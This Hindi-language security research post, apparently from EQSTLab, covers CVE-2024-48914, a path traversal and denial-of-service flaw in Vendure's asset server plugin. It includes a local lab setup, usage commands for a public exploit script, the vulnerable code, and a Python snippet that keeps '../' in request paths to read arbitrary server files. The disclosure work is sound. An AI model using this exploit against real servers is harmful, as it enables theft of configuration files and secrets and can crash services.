
vendure-ecommerce शोषण में मनमानी फ़ाइल पढ़ना और DoS
यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।
इस भेद्यता की खोज करने वाले Rajesh Sharma को धन्यवाद।
★ CVE-2024-48914 मनमाना फ़ाइल पढ़ना और DoS PoC ★
CVE-2024-48914 : vendure-ecommerce मनमाना फ़ाइल पढ़ना और DoS भेद्यता
विवरण: Vendure एक ओपन-सोर्स हेडलेस कॉमर्स प्लेटफॉर्म है। संस्करण 3.0.5 और 2.3.3 से पहले, Vendure के एसेट सर्वर प्लगइन में एक भेद्यता एक हमलावर को एक अनुरोध तैयार करने की अनुमति देती है जो सर्वर फ़ाइल सिस्टम के माध्यम से नेविगेट कर सकता है और मनमानी फ़ाइलों की सामग्री प्राप्त कर सकता है, जिसमें संवेदनशील डेटा जैसे कॉन्फ़िगरेशन फ़ाइलें, पर्यावरण चर और सर्वर पर संग्रहीत अन्य महत्वपूर्ण डेटा शामिल हैं। उसी कोड पथ में, एक विकृत URI के माध्यम से सर्वर को क्रैश करने का एक अतिरिक्त वेक्टर भी है। संस्करण 3.0.5 और 2.3.3 में पैच उपलब्ध हैं। कुछ वर्कअराउंड भी उपलब्ध हैं। कोई व्यक्ति स्थानीय फ़ाइल सिस्टम के बजाय ऑब्जेक्ट स्टोरेज का उपयोग कर सकता है, जैसे MinIO या S3, या मिडलवेयर को परिभाषित कर सकता है जो /../ युक्त URL वाले अनुरोधों का पता लगाता है और उन्हें ब्लॉक करता है।
भेद्य संस्करण डाउनलोड करें(v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
निष्पादित करने का आदेश
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (मनमाना फ़ाइल पढ़ना)

CVE-2024-48914.py (DoS हमला)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
भेद्यता का कारण path.join में decodedReqPath का सीधे उपयोग है, बिना किसी पथ सामान्यीकरण (यानी node.js में path.normalize) के। यह भेद्यता एक हमलावर को एक अनुरोध तैयार करने की अनुमति देती है जो सर्वर फ़ाइल सिस्टम के माध्यम से नेविगेट कर सकता है और मनमानी फ़ाइलों की सामग्री प्राप्त कर सकता है, जिसमें संवेदनशील डेटा जैसे कॉन्फ़िगरेशन फ़ाइलें, पर्यावरण चर और सर्वर पर संग्रहीत अन्य महत्वपूर्ण डेटा शामिल हैं।
जब python requests मॉड्यूल का उपयोग करते हैं, तो urlpath से '../' हटा दिया जाता है। यदि आप नीचे दिए गए अनुसार 'prepared requests' का उपयोग करते हैं, तो आप python requests मॉड्यूल का उपयोग urlpath से '../' हटाए बिना कर सकते हैं।
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
यह रिपॉजिटरी CVE-2024-48914 के लिए मनमाना फ़ाइल पढ़ने या DoS शोषण के रूप में अभिप्रेत नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और संभवतः अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4